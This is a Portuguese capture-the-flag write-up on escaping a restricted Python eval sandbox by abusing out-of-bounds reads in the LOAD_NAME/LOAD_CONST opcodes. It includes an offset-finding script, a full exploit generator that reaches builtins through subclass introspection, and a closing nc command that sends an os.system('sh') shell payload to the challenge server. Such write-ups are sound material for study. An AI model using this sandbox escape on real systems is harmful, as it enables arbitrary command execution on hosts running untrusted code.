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2023-06-06 18:56:34 +00:00

11 KiB

LOAD_NAME / LOAD_CONST opcode OOB Read

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Esta informação foi retirada deste artigo.

TL;DR

Podemos usar a funcionalidade de leitura OOB no opcode LOAD_NAME / LOAD_CONST para obter algum símbolo na memória. O que significa usar truques como (a, b, c, ... centenas de símbolos ..., __getattribute__) if [] else [].__getattribute__(...) para obter um símbolo (como o nome de uma função) que você deseja.

Em seguida, basta criar seu exploit.

Visão geral

O código-fonte é bastante curto, contendo apenas 4 linhas!

source = input('>>> ')
if len(source) > 13337: exit(print(f"{'L':O<13337}NG"))
code = compile(source, '∅', 'eval').replace(co_consts=(), co_names=())
print(eval(code, {'__builtins__': {}}))1234

Você pode inserir código Python arbitrário e ele será compilado em um objeto de código Python. No entanto, co_consts e co_names desse objeto de código serão substituídos por uma tupla vazia antes de avaliar esse objeto de código.

Assim, todas as expressões que contêm constantes (por exemplo, números, strings etc.) ou nomes (por exemplo, variáveis, funções) podem causar falha de segmentação no final.

Leitura fora dos limites

Como ocorre a falha de segmentação?

Vamos começar com um exemplo simples, [a, b, c] pode ser compilado no seguinte bytecode.

  1           0 LOAD_NAME                0 (a)
              2 LOAD_NAME                1 (b)
              4 LOAD_NAME                2 (c)
              6 BUILD_LIST               3
              8 RETURN_VALUE12345

Mas e se o co_names se tornar uma tupla vazia? O opcode LOAD_NAME 2 ainda é executado e tenta ler o valor daquele endereço de memória onde deveria estar originalmente. Sim, isso é uma "característica" de leitura fora dos limites.

O conceito principal para a solução é simples. Alguns opcodes no CPython, como LOAD_NAME e LOAD_CONST, são vulneráveis (?) à leitura fora dos limites.

Eles recuperam um objeto do índice oparg da tupla consts ou names (é isso que co_consts e co_names são chamados internamente). Podemos nos referir ao seguinte trecho curto sobre LOAD_CONST para ver o que o CPython faz quando processa o opcode LOAD_CONST.

case TARGET(LOAD_CONST): {
    PREDICTED(LOAD_CONST);
    PyObject *value = GETITEM(consts, oparg);
    Py_INCREF(value);
    PUSH(value);
    FAST_DISPATCH();
}1234567

Desta forma, podemos usar a função OOB para obter um "nome" de um deslocamento de memória arbitrário. Para ter certeza do nome que ele tem e qual é o seu deslocamento, basta tentar LOAD_NAME 0, LOAD_NAME 1 ... LOAD_NAME 99 ... E você pode encontrar algo em torno de oparg > 700. Você também pode tentar usar o gdb para dar uma olhada no layout da memória, mas eu não acho que seria mais fácil.

Gerando o Exploit

Uma vez que recuperamos esses deslocamentos úteis para nomes/constantes, como podemos obter um nome/constante a partir desse deslocamento e usá-lo? Aqui está um truque para você:
Vamos supor que podemos obter um nome __getattribute__ do deslocamento 5 (LOAD_NAME 5) com co_names=(), então basta fazer o seguinte:

[a,b,c,d,e,__getattribute__] if [] else [
    [].__getattribute__
    # you can get the __getattribute__ method of list object now!
]1234

Observe que não é necessário nomeá-lo como __getattribute__, você pode nomeá-lo como algo mais curto ou estranho.

Você pode entender a razão por trás disso apenas visualizando seu bytecode:

              0 BUILD_LIST               0
              2 POP_JUMP_IF_FALSE       20
        >>    4 LOAD_NAME                0 (a)
        >>    6 LOAD_NAME                1 (b)
        >>    8 LOAD_NAME                2 (c)
        >>   10 LOAD_NAME                3 (d)
        >>   12 LOAD_NAME                4 (e)
        >>   14 LOAD_NAME                5 (__getattribute__)
             16 BUILD_LIST               6
             18 RETURN_VALUE
             20 BUILD_LIST               0
        >>   22 LOAD_ATTR                5 (__getattribute__)
             24 BUILD_LIST               1
             26 RETURN_VALUE1234567891011121314

Observe que LOAD_ATTR também recupera o nome de co_names. O Python carrega nomes do mesmo deslocamento se o nome for o mesmo, então o segundo __getattribute__ ainda é carregado do deslocamento = 5. Usando esse recurso, podemos usar um nome arbitrário, desde que o nome esteja na memória próxima.

Gerar números deve ser trivial:

  • 0: not
  • 1: not []
  • 2: (not []) + (not [])
  • ...

Script de exploração

Não usei constantes devido ao limite de comprimento.

Aqui está um script para encontrarmos os deslocamentos desses nomes.

from types import CodeType
from opcode import opmap
from sys import argv


class MockBuiltins(dict):
    def __getitem__(self, k):
        if type(k) == str:
            return k


if __name__ == '__main__':
    n = int(argv[1])

    code = [
        *([opmap['EXTENDED_ARG'], n // 256]
          if n // 256 != 0 else []),
        opmap['LOAD_NAME'], n % 256,
        opmap['RETURN_VALUE'], 0
    ]

    c = CodeType(
        0, 0, 0, 0, 0, 0,
        bytes(code),
        (), (), (), '<sandbox>', '<eval>', 0, b'', ()
    )

    ret = eval(c, {'__builtins__': MockBuiltins()})
    if ret:
        print(f'{n}: {ret}')

# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132

E o seguinte é para gerar o exploit real em Python.

import sys
import unicodedata


class Generator:
    # get numner
    def __call__(self, num):
        if num == 0:
            return '(not[[]])'
        return '(' + ('(not[])+' * num)[:-1] + ')'

    # get string
    def __getattribute__(self, name):
        try:
            offset = None.__dir__().index(name)
            return f'keys[{self(offset)}]'
        except ValueError:
            offset = None.__class__.__dir__(None.__class__).index(name)
            return f'keys2[{self(offset)}]'


_ = Generator()

names = []
chr_code = 0
for x in range(4700):
    while True:
        chr_code += 1
        char = unicodedata.normalize('NFKC', chr(chr_code))
        if char.isidentifier() and char not in names:
            names.append(char)
            break

offsets = {
    "__delitem__": 2800,
    "__getattribute__": 2850,
    '__dir__': 4693,
    '__repr__': 2128,
}

variables = ('keys', 'keys2', 'None_', 'NoneType',
             'm_repr', 'globals', 'builtins',)

for name, offset in offsets.items():
    names[offset] = name

for i, var in enumerate(variables):
    assert var not in offsets
    names[792 + i] = var


source = f'''[
({",".join(names)}) if [] else [],
None_ := [[]].__delitem__({_(0)}),
keys := None_.__dir__(),
NoneType := None_.__getattribute__({_.__class__}),
keys2 := NoneType.__dir__(NoneType),
get := NoneType.__getattribute__,
m_repr := get(
    get(get([],{_.__class__}),{_.__base__}),
    {_.__subclasses__}
)()[-{_(2)}].__repr__,
globals := get(m_repr, m_repr.__dir__()[{_(6)}]),
builtins := globals[[*globals][{_(7)}]],
builtins[[*builtins][{_(19)}]](
    builtins[[*builtins][{_(28)}]](), builtins
)
]'''.strip().replace('\n', '').replace(' ', '')

print(f"{len(source) = }", file=sys.stderr)
print(source)

# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273

Basicamente, ele faz as seguintes coisas para as strings que obtemos do método __dir__:

getattr = (None).__getattribute__('__class__').__getattribute__
builtins = getattr(
  getattr(
    getattr(
      [].__getattribute__('__class__'),
    '__base__'),
  '__subclasses__'
  )()[-2],
'__repr__').__getattribute__('__globals__')['builtins']
builtins['eval'](builtins['input']())
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